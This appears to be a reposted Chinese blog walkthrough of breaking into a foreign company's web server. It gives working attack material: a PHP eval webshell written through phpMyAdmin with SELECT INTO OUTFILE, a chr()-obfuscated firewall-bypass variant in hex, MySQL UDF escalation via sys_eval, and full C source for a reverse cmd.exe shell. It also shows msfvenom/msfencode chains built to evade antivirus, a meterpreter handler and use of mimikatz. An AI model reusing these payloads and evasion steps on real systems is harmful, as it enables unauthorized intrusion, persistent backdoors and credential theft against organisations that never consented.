涉及隐私 ip隐去
目标(某国外企业站):www.91ri.org ip:192.168.1.8
目标主站未发现 动态脚本(asp,jsp,cfm,php,aspx…)
故 从其它地方入手
0×01 搜集域名信息:
使用google 搜索二级 域名:
1
|
site:91ri.org -inurl:www.
|
使用:dnsenum 探测二级域名
1
|
./dnsenum.pl -f dns.txt -t 80 –threads 15 target.com
|
使用这两种常用手法均未找到相关二级域名
使用 御剑轻量级旁注查询工具 未找到该公司相关的 域名…
0×02 初步漏洞探测:
在这里我使用一个小工具wss.exe (不知道该工具出处 听说是safe3 web漏洞扫描里面的)
该工具扫描漏洞能力并不强,但是能快速扫描出 一个c段中简单的一些 web 漏洞在前期快速寻找漏洞站点 。
我很喜欢这个工具 ,这里我写个批处理来方便使用。
1
2
3
4
5
6
7
|
@echo off
color a
MODE CON COLS=120 LINES=30
title c段漏洞信息检测
echo c段信息检测
set /p ips=请输入要检测的ip:
wss.exe wss.conf 65 %ips%
|
不多时就扫描完成了,查看扫描结果。
结果还是令人满意的,一个注入、一个敏感目录。
既然已经扫描出漏洞我们先别急着日下来 万一跟目标毫无关系岂不是白日了?
外网的情况下如何判断是否处在同一内网呢?
我们可以使路由跟踪命令tracert 命令看看是否经过相同路由
tracert 命令 技巧:
直接 tracert ip 会很慢 而且容易超时
我们使用 tracert -4 -d -w 100 127.0.0.1
选项:
1
2
3
|
-d 不将地址解析成主机名。
-w timeout 等待每个回复的超时时间(以毫秒为单位)
-4 强制使用 IPv4。
|
设置些参数优化下速度会快很多而且更直观。
很遗憾 跳不过去
我们可以使用
0trace (注意是零不是欧) backtrack 5下以集成不过在这里我们使用 0trace 的增强版 intrace
intrace 的安装非常简单的:
1
2
3
|
svn checkout http://intrace.googlecode.com/svn/trunk/ intrace
cd intrace/
./Makefile
|
使用方法
1
|
./intrace.bin -h 192.168.2.6 -p 80 -s 4
|
-s 参数发送数据包大小 -p 设置端口
由于该工具不是通过常规的主动的方式路由跟踪,而是通过tcp连接被动的来跟踪,所以我们还要对目标进行访问。
在这里我对目标发送个http数据包。
很好成功到达目标。分析最后经过的路由,发现与目标一致,所以判断是同一内网。
http://www.91ri.org/myadmin/main.php (url以经过处理)
访问之发现是phpmyadmin 而且直接登录进去
select user()
root 权限…
通过/libraries/select_lang.lib.php 获取web绝对路径为:
1
|
C:/Inetpub/wwwroot/myadmin
|
1
|
select ‘<?php eval($_POST[1])?>’ into outfile ‘C:/Inetpub/wwwroot/myadmin/sqldump.php’
|
发现连接被重置,难道是web防火墙? 不过丝毫不用担心,php 很好突破…
通过http://www.expdoor.com/article/5.html 站点找到一个过防火墙的php一句话shell
1
2
3
4
5
6
|
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF(“”,$_cC);@$_();?>
使用火狐hex 编码得到:
0x3c3f245f75553d636872283939292e63687228313034292e63687228313134293b245f63433d245f755528313031292e245f755528313138292e245f7555283937292e245f755528313038292e245f7555283430292e245f7555283336292e245f7555283935292e245f7555283830292e245f7555283739292e245f7555283833292e245f7555283834292e245f7555283931292e245f7555283439292e245f7555283933292e245f7555283431292e245f7555283539293b245f66463d245f7555283939292e245f755528313134292e245f755528313031292e245f7555283937292e245f755528313136292e245f755528313031292e245f7555283935292e245f755528313032292e245f755528313137292e245f755528313130292e245f7555283939292e245f755528313136292e245f755528313035292e245f755528313131292e245f755528313130293b245f3d245f66462822222c245f6343293b40245f28293b3f3e
select 0x3c3f245f75553d636872283939292e63687228313034292e63687228313134293b245f63433d245f755528313031292e245f755528313138292e245f7555283937292e245f755528313038292e245f7555283430292e245f7555283336292e245f7555283935292e245f7555283830292e245f7555283739292e245f7555283833292e245f7555283834292e245f7555283931292e245f7555283439292e245f7555283933292e245f7555283431292e245f7555283539293b245f66463d245f7555283939292e245f755528313134292e245f755528313031292e245f7555283937292e245f755528313136292e245f755528313031292e245f7555283935292e245f755528313032292e245f755528313137292e245f755528313130292e245f7555283939292e245f755528313136292e245f755528313035292e245f755528313131292e245f755528313130293b245f3d245f66462822222c245f6343293b40245f28293b3f3e into outfile ‘C:Inetpubwwwrootmyadminsqldump.php’ //注意双斜杠!或者反斜杠也行
|
菜刀连接 密码 1 成个getshell
首先想到的是 whoami 看看是否是系统权限 没想到 不可以执行命令…
菜刀说 是开启了安全模式 但不一定
我们看看 phpinfo 发现 safe_mode 为 Off 并且 disable_functions no value
估计是没权限执行吧。
题外话:
如果是 有权限执行cmd 但开启安全模式或者设置了 disable_function 在低版本php (PHP <= 5.2.9)
win32环境 下 是可以绕过的
参考文章:
PHP 5.x COM functions safe_mode and disable_function bypass
安全模式下exec等函数安全隐患 PHP <= 5.2.9 Local Safemod Bypass Exploit
http://huaidan.org/archives/3140.html
http://luoq.net/PHP-COM-functions/
目标虽然是低版本 (PHP Version 5.2.4)
但是 并不是开启安全模式 所以不适用该方法…
mysql root权限 我们并不用考虑 php 能不能执行 命令
先 udf 提权
1
|
select version();
|
发现是5.0 低于5.1可以直接将dll文件传至 c:windows目录
我喜欢用 sqlmap里面的 dll 一般都不会被杀软干掉…
相关链接 https://github.com/mysqludf/lib_mysqludf_sys
该dll 提供三个函数:
1
2
3
4
5
|
lib_mysqludf_sys_info 系统信息
ys_get 获取环境变量
sys_set 创建新的环境变量 并更新环境变量
sys_exec 执行程序 不返回信息
sys_eval 执行命令 并返回信息
|
我们通常使用 sys_eval 函数就够了…
1
2
|
select load_file(‘d:/php/temp/xxoo.txt’) into dumpfile ‘c:/windows/sose.dll’;
create function cmdshell returns string soname ‘sose.dll’;
|
这里有个小技巧:
dll文件有些大 直接通过 select 0x.. into outdump 方式写入比较麻烦(当然有很多一步完成的脚本)
我们可以将文件上传至任意可写目录然后 通过load_file()函数读该文件 同时将其 写入 c:windows
具体步骤:
event.cpp 反弹
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,”ws2_32″)
WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;
int main(int argc, char *argv[])
{
LPCSTR szMyUniqueNamedEvent=“sysnullevt”;
HANDLE m_hEvent = CreateEventA(NULL, TRUE, FALSE, szMyUniqueNamedEvent);
switch (GetLastError())
{
// app is already running
case ERROR_ALREADY_EXISTS:
{
CloseHandle(m_hEvent);
return 0;
// now exit
break;
}
// this is the first instance of the app
case ERROR_SUCCESS:
{
// global event created and new instance of app is running,
// continue on, don’t forget to clean up m_hEvent on exit
break;
}
}
WSAStartup(MAKEWORD(2,2), &wsaData);
Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);
if (argc != 3){fprintf(stderr, “Usage: <rhost> <rport>n”); exit(1);}
hax.sin_family = AF_INET;
hax.sin_port = htons(atoi(argv[2]));
hax.sin_addr.s_addr = inet_addr(argv[1]);
WSAConnect(Winsock,(SOCKADDR*)&hax,sizeof(hax),NULL,NULL,NULL,NULL);
memset(&ini_processo,0,sizeof(ini_processo));
ini_processo.cb=sizeof(ini_processo);
ini_processo.dwFlags=STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;
CreateProcessA(NULL,“cmd.exe”,NULL,NULL,TRUE,0,NULL,NULL,(LPSTARTUPINFOA)&ini_processo,&processo_info);
return 0;
}
|
编译过程省略
为什么不用nc 呢?nc容易被干掉。
这个反弹命令很简洁 n.exe ip port 很少被杀掉。
将依照上面的方法上传udf 的步骤,将该文件上传至可写目录。
本地监听 执行之…
nc -lvv 443 发现有数据返回 但一执行命令就退出… (将一切未知异常 归咎为 安全软件在作祟…)
怎么办??? 试试 metasploit 里面的 windows/meterpreter/reverse_https (meterpreter https 反向shell)
生成一个后门:
1
|
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f exe -e -i 20 >/var/www/nokill.exe
|
未作任何处理 上传上去发现被干掉.早就该意料到…
被干掉没关系的 metasploit支持各种 编码 并且可以自定义 任意exe 文件 模板 来免杀
1
|
msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.100 LPORT=443 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 R |msfencode -e x86/shikata_ga_nai -c 5 -t raw |msfencode -e x86/alpha_upper -c 2 -t raw |msfencode -e x86/shikata_ga_nai -c 5 -t raw|msfencode -e x86/countdown -c 5 -t raw|msfencode -e x86/fnstenv_mov -t raw |msfencode -e x86/fnstenv_mov -c 5 -t raw |msfencode -t exe -x ~/Desktop/procdump.exe -o ~/Desktop/pe_lost.exe -e
|
经过多层多种编码,并且定义一个模板文件。
相关编码就不解释了,反正我也不懂具体如何编码的…
-x 选项使用任意的windows可执行程序作为模板文件 这里我选了procdump.exe (微软的小工具) 作为模板文件
执行:
1
2
3
4
5
6
7
8
|
msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lhost 192.168.1.100
lhost => 192.168.1.100
msf exploit(handler) > set lport 443
lport => 443
msf exploit(handler) > exploit
|
use multi/handler 不用解释吧
设置下面两个参数是为了 持久性 https 连接 防止意外中断
即使中断了也可以继续..
SessionCommunicationTimeout=0
SessionExpirationTimeout=0
将后门上传上去 发现没有被杀…
meterpreter 也正常使用
由于是系统权限执行 的所以可以直接gethash
看看meterpreter 插件:
1
2
3
4
5
6
7
8
9
|
meterpreter > load -l
espia
incognito
lanattacks
mimikatz
pivot
priv
sniffer
stdapi
|
支持 mimikatz :) 很人性化..
没抓到有用的,系统用户明文,因为没有登录嘛~
本站不提供工具下载,文中提到的工具请前往原文链接。
[via@90sec / 露小缝]
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号